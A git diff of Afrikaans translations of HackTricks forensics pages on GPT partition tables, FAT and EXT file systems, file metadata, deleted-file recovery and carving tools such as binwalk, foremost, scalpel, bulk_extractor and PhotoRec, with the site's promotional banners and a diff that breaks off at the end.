| 72 (0x48) | 8 byte | Begin LBA van 'n reeks partisie-inskrywings (altyd 2 in primêre kopie) |
|
||||
| 80 (0x50) | 4 byte | Aantal partisie-inskrywings in reeks |
|
||||
| 84 (0x54) | 4 byte | Grootte van 'n enkele partisie-inskrywing (gewoonlik 80h of 128) |
|
||||
| 88 (0x58) | 4 byte | CRC32 van partisie-inskrywingsreeks in klein-eindige |
|
||||
| 92 (0x5C) | \* | Voorbehou; moet nulle wees vir die res van die blok (420 byte vir 'n sektor grootte van 512 byte; maar kan meer wees met groter sektorgroottes) |
|
||||
|
||||
**Partisieinskrywings (LBA 2–33)**
|
||||
**Partisie-inskrywings (LBA 2–33)**
|
||||
|
||||
| GUID-partisieinskrywingsformaat | | |
|
||||
| ------------------------------ | -------- | ------------------------------------------------------------------------------------------------------------------- |
|
||||
| GUID-partisie-inskrywingsformaat | | |
|
||||
| ------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Lengte | Inhoud |
|
||||
| 0 (0x00) | 16 byte | [Partisietipe-GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (gemengde eindige) |
|
||||
| 0 (0x00) | 16 byte | [Partisie-tipe-GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (gemengde eindige) |
|
||||
| 16 (0x10) | 16 byte | Unieke partisie-GUID (gemengde eindige) |
|
||||
| 32 (0x20) | 8 byte | Eerste LBA ([klein-eindige](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 byte | Laaste LBA (inklusief, gewoonlik oneweredig) |
|
||||
| 48 (0x30) | 8 byte | Kenmerkvlaggies (bv. bit 60 dui op skryfbeskerming) |
|
||||
| 48 (0x30) | 8 byte | Kenmerkvlagte (bv. bit 60 dui op slegs leesbaar) |
|
||||
| 56 (0x38) | 72 byte | Partisienaam (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE-kode-eenhede) |
|
||||
|
||||
**Partisietipes**
|
||||
|
@ -143,16 +141,16 @@ Die partisietabelkop definieer die bruikbare blokke op die skyf. Dit definieer o
|
|||
|
||||
Meer partisietipes in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
### Inspekteer
|
||||
### Inspeksie
|
||||
|
||||
Nadat die forensiese beeld met [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) gemoniteer is, kan jy die eerste sektor inspekteer met die Windows-hulpmiddel [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In die volgende afbeelding is 'n **MBR** op **sektor 0** opgespoor en geïnterpreteer:
|
||||
Nadat die forensiese beeld met [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) aan die gang gesit is, kan jy die eerste sektor inspekteer met die Windows-program [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In die volgende beeld is 'n **MBR** op **sektor 0** opgespoor en geïnterpreteer:
|
||||
|
||||
![](<../../../.gitbook/assets/image (494).png>)
|
||||
|
||||
As dit 'n **GPT-tabel in plaas van 'n MBR** was, sou die handtekening _EFI PART_ in **sektor 1** verskyn (wat in die vorige afbeelding leeg is).
|
||||
## Lêerstelsels
|
||||
Indien dit 'n **GPT-tabel in plaas van 'n MBR** was, behoort die handtekening _EFI PART_ in **sektor 1** te verskyn (wat in die vorige beeld leeg is).
|
||||
## Lêer-Stelsels
|
||||
|
||||
### Lys van Windows-lêerstelsels
|
||||
### Windows lêer-stelsels lys
|
||||
|
||||
* **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
|
@ -162,70 +160,70 @@ As dit 'n **GPT-tabel in plaas van 'n MBR** was, sou die handtekening _EFI PART_
|
|||
|
||||
### FAT
|
||||
|
||||
Die **FAT (File Allocation Table)** lêerstelsel is ontwerp rondom sy kernkomponent, die lêertoewysingstabel, wat by die begin van die volume geplaas is. Hierdie stelsel beskerm data deur **twee kopieë** van die tabel te behou, wat data-integriteit verseker selfs as een daarvan beskadig is. Die tabel, tesame met die hoofmap, moet in 'n **vasgestelde posisie** wees, wat noodsaaklik is vir die opstartproses van die stelsel.
|
||||
Die **FAT (Lêer-toewysingstabel)** lêer-stelsel is ontwerp rondom sy kernkomponent, die lêer-toewysingstabel, wat by die begin van die volume geplaas is. Hierdie stelsel beskerm data deur **twee kopieë** van die tabel te handhaaf, wat data-integriteit verseker selfs as een beskadig is. Die tabel, saam met die hoofmap, moet in 'n **vaste posisie** wees, wat noodsaaklik is vir die stelsel se opstartproses.
|
||||
|
||||
Die basiese eenheid van stoor van die lêerstelsel is 'n **kluster, gewoonlik 512B**, wat uit verskeie sektore bestaan. FAT het deur weergawes geëvolueer:
|
||||
Die basiese eenheid van stoorplek in die lêer-stelsel is 'n **kluster, gewoonlik 512B**, wat uit verskeie sektore bestaan. FAT het deur weergawes geëvolueer:
|
||||
|
||||
- **FAT12**, wat 12-bits klusteradres ondersteun en tot 4078 klusters hanteer (4084 met UNIX).
|
||||
- **FAT16**, wat verbeter tot 16-bits adresse, en dus tot 65,517 klusters kan akkommodeer.
|
||||
- **FAT32**, wat verder gevorder het met 32-bits adresse, wat 'n indrukwekkende 268,435,456 klusters per volume moontlik maak.
|
||||
* **FAT12**, wat 12-bietjie kluster-adresse ondersteun en tot 4078 klusters kan hanteer (4084 met UNIX).
|
||||
* **FAT16**, wat vorder tot 16-bietjie adresse, en dus tot 65,517 klusters kan akkommodeer.
|
||||
* **FAT32**, wat verder vorder met 32-bietjie adresse, wat 'n indrukwekkende 268,435,456 klusters per volume toelaat.
|
||||
|
||||
'n Belangrike beperking oor alle FAT-weergawes is die **maksimum lêergrootte van 4GB**, wat opgelê word deur die 32-bits veld wat vir lêergrootte stoor gebruik word.
|
||||
'n Beduidende beperking regoor FAT-weergawes is die **4GB maksimum lêergrootte**, opgelê deur die 32-bietjie veld wat vir lêergrootte stoor gebruik word.
|
||||
|
||||
Sleutelkomponente van die hoofgids, veral vir FAT12 en FAT16, sluit in:
|
||||
Belangrike komponente van die hoofgids, veral vir FAT12 en FAT16, sluit in:
|
||||
|
||||
- **Lêer/Map Naam** (tot 8 karakters)
|
||||
- **Eienskappe**
|
||||
- **Skep-, Wysigings- en Laaste Toegangsdatums**
|
||||
- **FAT Tabeladres** (wat die beginkluster van die lêer aandui)
|
||||
- **Lêergrootte**
|
||||
* **Lêer/Map Naam** (tot 8 karakters)
|
||||
* **Eienskappe**
|
||||
* **Skep, Wysiging, en Laaste Toegangsdatums**
|
||||
* **FAT Tabel Adres** (wat die beginkluster van die lêer aandui)
|
||||
* **Lêergrootte**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** is die mees algemene lêerstelsel vir **nie-joernalering** partisies (**partisies wat nie veel verander nie**) soos die opstartpartisie. **Ext3/4** is **joernalering** en word gewoonlik gebruik vir die **res van die partisies**.
|
||||
**Ext2** is die mees algemene lêer-stelsel vir **nie-journaal** partisies (**partisies wat nie veel verander nie**) soos die opstartpartisie. **Ext3/4** is **journaal** en word gewoonlik vir die **res van die partisies** gebruik.
|
||||
|
||||
## **Metadata**
|
||||
|
||||
Sommige lêers bevat metadata. Hierdie inligting gaan oor die inhoud van die lêer wat soms interessant kan wees vir 'n analis as gevolg van die lêertipe, wat inligting soos die volgende kan bevat:
|
||||
Sommige lêers bevat metadata. Hierdie inligting gaan oor die inhoud van die lêer wat soms interessant vir 'n analis kan wees, aangesien dit, afhangend van die lêertipe, inligting soos die volgende kan bevat:
|
||||
|
||||
* Titel
|
||||
* MS Office-weergawe wat gebruik is
|
||||
* Outeur
|
||||
* Skep- en laaste wysigingsdatums
|
||||
* MS Office Weergawe gebruik
|
||||
* Skrywer
|
||||
* Skep- en Laaste Wysigingsdatums
|
||||
* Kamera model
|
||||
* GPS-koördinate
|
||||
* GPS koördinate
|
||||
* Beeldinligting
|
||||
|
||||
Jy kan hulpmiddels soos [**exiftool**](https://exiftool.org) en [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gebruik om die metadata van 'n lêer te verkry.
|
||||
Jy kan gereedskap soos [**exiftool**](https://exiftool.org) en [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gebruik om die metadata van 'n lêer te kry.
|
||||
|
||||
## **Herwinning van Verwyderde Lêers**
|
||||
## **Verwyderde Lêers Herwinning**
|
||||
|
||||
### Gelogde Verwyderde Lêers
|
||||
|
||||
Soos voorheen gesien is daar verskeie plekke waar die lêer steeds gestoor word nadat dit "verwyder" is. Dit is omdat die verwydering van 'n lêer uit 'n lêerstelsel dit gewoonlik merk as verwyder, maar die data word nie geraak nie. Daarom is dit moontlik om die rekords van die lêers (soos die MFT) te ondersoek en die verwyderde lêers te vind.
|
||||
Soos voorheen gesien is daar verskeie plekke waar die lêer nog steeds gestoor word nadat dit "verwyder" is. Dit is omdat die verwydering van 'n lêer uit 'n lêer-stelsel dit gewoonlik net as verwyder gemerk, maar die data nie geraak word nie. Dan is dit moontlik om die registre van die lêers (soos die MFT) te ondersoek en die verwyderde lêers te vind.
|
||||
|
||||
Die bedryfstelsel stoor ook gewoonlik baie inligting oor lêerstelselveranderinge en rugsteun, so dit is moontlik om te probeer om dit te gebruik om die lêer of soveel moontlike inligting te herwin.
|
||||
Die bedryfstelsel stoor ook gewoonlik baie inligting oor lêer-stelselveranderings en rugsteune, sodat dit moontlik is om dit te probeer gebruik om die lêer of soveel moontlik inligting te herwin.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Lêer Carving**
|
||||
### **Lêer Uitsnyding**
|
||||
|
||||
**Lêer carving** is 'n tegniek wat probeer om lêers in die massa data te vind. Daar is 3 hoofmaniere waarop sulke gereedskap werk: **Gebaseer op lêertipes se koppe en voette**, gebaseer op lêertipes se **strukture** en gebaseer op die **inhoud** self.
|
||||
**Lêer uitsnyding** is 'n tegniek wat probeer om lêers in die massa data te vind. Daar is 3 hoof maniere waarop gereedskap soos hierdie werk: **Gebaseer op lêertipes koppe en sterte**, gebaseer op lêertipes **strukture** en gebaseer op die **inhoud** self.
|
||||
|
||||
Let daarop dat hierdie tegniek **nie werk om gefragmenteerde lêers te herwin nie**. As 'n lêer **nie in aaneenlopende sektore gestoor word nie**, sal hierdie tegniek dit nie kan vind nie, of ten minste 'n deel daarvan.
|
||||
Let daarop dat hierdie tegniek **nie werk om gefragmenteerde lêers te herwin nie**. As 'n lêer **nie in aaneenlopende sektore gestoor word nie**, sal hierdie tegniek dit nie kan vind nie of ten minste 'n deel daarvan.
|
||||
|
||||
Daar is verskeie gereedskap wat jy kan gebruik vir lêer Carving deur die lêertipes aan te dui wat jy wil soek
|
||||
Daar is verskeie gereedskap wat jy kan gebruik vir lêer uitsnyding wat die lêertipes aandui wat jy wil soek
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Datastroom **C**arving
|
||||
### Datastroom **Uitsnyding**
|
||||
|
||||
Datastroom Carving is soortgelyk aan Lêer Carving, maar **in plaas daarvan om volledige lêers te soek, soek dit na interessante fragmente** van inligting.\
|
||||
Byvoorbeeld, in plaas daarvan om 'n volledige lêer te soek wat gelogde URL's bevat, sal hierdie tegniek soek na URL's.
|
||||
Datastroom Uitsnyding is soortgelyk aan Lêer Uitsnyding, maar **in plaas daarvan om na volledige lêers te soek, soek dit na interessante fragmente** van inligting.\
|
||||
Byvoorbeeld, in plaas daarvan om na 'n volledige lêer te soek wat gelogde URL's bevat, sal hierdie tegniek na URL's soek.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
|
@ -233,8 +231,8 @@ Byvoorbeeld, in plaas daarvan om 'n volledige lêer te soek wat gelogde URL's be
|
|||
|
||||
### Veilige Verwydering
|
||||
|
||||
Daar is natuurlik maniere om lêers en dele van logboeke oor hulle **"veilig" te verwyder**. Dit is byvoorbeeld moontlik om die inhoud van 'n lêer herhaaldelik met rommeldata te **oorlê**, en dan die **logboeke** van die **$MFT** en **$LOGFILE** oor die lêer te **verwyder**, en die **Volume Shadow Copies** te **verwyder**.\
|
||||
Jy mag opmerk dat selfs nadat daardie aksie uitgevoer is, daar **ander dele is waar die bestaan van die lêer steeds gelog word**, en dit is waar en deel van die forensiese professionele se werk is om dit te vind.
|
||||
Duidelik is daar maniere om lêers en dele van logboeke oor hulle **"veilig" te verwyder**. Byvoorbeeld, dit is moontlik om die inhoud van 'n lêer met rommeldata verskeie kere te **oor-skryf**, en dan die **logboeke** van die **$MFT** en **$LOGFILE** oor die lêer te **verwyder**, en die Volume Shadow Copies te **verwyder**.\
|
||||
Jy mag opmerk dat selfs nadat daardie aksie uitgevoer is, daar dalk **ander dele is waar die bestaan van die lêer steeds gelog word**, en dit is waar en deel van die forensiese professionele werk is om hulle te vind.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -246,14 +244,14 @@ Jy mag opmerk dat selfs nadat daardie aksie uitgevoer is, daar **ander dele is w
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,124 +1,111 @@
|
|||
# Lêer/Data Uithol & Herstelgereedskap
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
# Carving & Herstelgereedskap
|
||||
## Uithol & Herstelgereedskap
|
||||
|
||||
Meer gereedskap in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
## Autopsy
|
||||
### Autopsy
|
||||
|
||||
Die mees algemene gereedskap wat in forensika gebruik word om lêers uit beelde te onttrek, is [**Autopsy**](https://www.autopsy.com/download/). Laai dit af, installeer dit en laat dit die lêer insluk om "verborge" lêers te vind. Let daarop dat Autopsy gebou is om skyfbeelders en ander soorte beelde te ondersteun, maar nie eenvoudige lêers nie.
|
||||
Die mees algemene gereedskap wat in forensika gebruik word om lêers uit beelde te onttrek is [**Autopsy**](https://www.autopsy.com/download/). Laai dit af, installeer dit en laat dit die lêer inneem om "verborge" lêers te vind. Let daarop dat Autopsy gebou is om skyfbeeld en ander soorte beelde te ondersteun, maar nie eenvoudige lêers nie.
|
||||
|
||||
## Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** is 'n gereedskap vir die analise van binêre lêers om ingebedde inhoud te vind. Dit kan geïnstalleer word via `apt` en die bronkode is op [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
**Binwalk** is 'n gereedskap vir die analise van binêre lêers om ingeslote inhoud te vind. Dit is installeerbaar via `apt` en die bron is op [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Nuttige opdragte**:
|
||||
**Nuttige bevele**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
## Foremost
|
||||
### Foremost
|
||||
|
||||
'n Ander algemene instrument om verskuilde lêers te vind is **foremost**. Jy kan die opsetlêer van foremost in `/etc/foremost.conf` vind. As jy net wil soek na sekere spesifieke lêers, verwyder die kommentaarmerke. As jy niks verwyder nie, sal foremost soek na sy verstek geconfigureerde lêertipes.
|
||||
'n Ander algemene instrument om verskuilde lêers te vind is **foremost**. Jy kan die opsetlêer van foremost vind in `/etc/foremost.conf`. As jy net wil soek na spesifieke lêers, ontkommentarieer hulle. As jy niks ontkommentarieer nie, sal foremost soek na sy verstek geconfigureerde lêertipes.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
## **Scalpel**
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** is nog 'n instrument wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval moet jy die lêertipes wat jy wil onttrek, ontkommentarieer uit die konfigurasie-lêer (_/etc/scalpel/scalpel.conf_).
|
||||
**Scalpel** is nog 'n instrument wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy nodig wees om uit die konfigurasie lêer (_/etc/scalpel/scalpel.conf_) die lêertipes wat jy wil onttrek, te ontkommentarieer.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
### Bulk Extractor
|
||||
|
||||
Hierdie instrument kom binne kali, maar jy kan dit hier vind: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
Hierdie gereedskap kom binne Kali maar jy kan dit hier vind: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Hierdie instrument kan 'n beeld skandeer en sal **pcaps onttrek** binne dit, **netwerkinligting (URL's, domeine, IP's, MAC's, e-posse)** en meer **lêers**. Jy hoef net te doen:
|
||||
Hierdie gereedskap kan 'n beeld skandeer en sal **pcaps onttrek** binne dit, **netwerk inligting (URL's, domeine, IP's, MAC's, e-posse)** en meer **lêers**. Jy hoef net te doen:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigeer deur **alle inligting** wat die instrument ingesamel het (wagwoorde?), **analiseer** die **pakkies** (lees [**Pcaps-analise**](../pcap-inspection/)), soek na **vreemde domeine** (domeine wat verband hou met **kwaadwillige sagteware** of **nie-bestaande** domeine).
|
||||
Navigeer deur **alle inligting** wat die instrument ingesamel het (wagwoorde?), **analiseer** die **pakette** (lees[ **Pcaps-analise**](../pcap-inspection/)), soek na **vreemde domeine** (domeine verwant aan **malware** of **nie-bestaande**).
|
||||
|
||||
## PhotoRec
|
||||
### PhotoRec
|
||||
|
||||
Jy kan dit vind by [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
Jy kan dit vind op [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
|
||||
Dit kom met GUI- en CLI-weergawes. Jy kan die **lêertipes** kies wat PhotoRec moet soek.
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
## binvis
|
||||
### binvis
|
||||
|
||||
Kyk na die [kode](https://code.google.com/archive/p/binvis/) en die [webwerf-instrument](https://binvis.io/#/).
|
||||
|
||||
### Kenmerke van BinVis
|
||||
#### Kenmerke van BinVis
|
||||
|
||||
* Visuele en aktiewe **struktuurkyker**
|
||||
* Verskeie grafieke vir verskillende fokuspunte
|
||||
* Fokus op dele van 'n monster
|
||||
* **Sien reekse en hulpbronne**, in PE- of ELF-uitvoerbare lêers, byvoorbeeld
|
||||
* Kry **patrone** vir kripto-analise van lêers
|
||||
* **Opmerk** verpakker- of enkodeeralgoritmes
|
||||
* **Identifiseer** steganografie deur patrone
|
||||
* **Visuele** binêre verskil
|
||||
* **Sien reekse en bronne**, in PE of ELF uitvoerbare lêers bv.
|
||||
* Kry **patrone** vir kriptontleding van lêers
|
||||
* **Opmerk** pakkerversekerings- of enkodeeralgoritmes
|
||||
* **Identifiseer** Steganografie deur patrone
|
||||
* **Visuele** binêre-verskil
|
||||
|
||||
BinVis is 'n goeie **beginpunt om bekend te raak met 'n onbekende teiken** in 'n swart-boks scenario.
|
||||
BinVis is 'n goeie **beginpunt om vertroud te raak met 'n onbekende teiken** in 'n swart-boksing scenario.
|
||||
|
||||
# Spesifieke Data Carving-instrumente
|
||||
## Spesifieke Data Carving-instrumente
|
||||
|
||||
## FindAES
|
||||
### FindAES
|
||||
|
||||
Soek na AES-sleutels deur te soek na hul sleutelskedules. In staat om 128, 192 en 256 bit sleutels te vind, soos dié wat deur TrueCrypt en BitLocker gebruik word.
|
||||
Soek na AES-sleutels deur te soek na hul sleutelskedules. In staat om 128, 192, en 256 bit sleutels te vind, soos dié wat deur TrueCrypt en BitLocker gebruik word.
|
||||
|
||||
Laai dit hier af: [here](https://sourceforge.net/projects/findaes/).
|
||||
Laai af [hier](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
# Aanvullende instrumente
|
||||
## Aanvullende instrumente
|
||||
|
||||
Jy kan [**viu** ](https://github.com/atanunq/viu)gebruik om beelde vanuit die terminaal te sien.\
|
||||
Jy kan die Linux-opdraglyn-instrument **pdftotext** gebruik om 'n pdf in te skakel na teks en dit te lees.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
Jy kan [**viu** ](https://github.com/atanunq/viu)gebruik om beelde van die terminaal te sien.\
|
||||
Jy kan die linux-opdraglyn-instrument **pdftotext** gebruik om 'n pdf in te skakel na teks en dit te lees.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -2,27 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
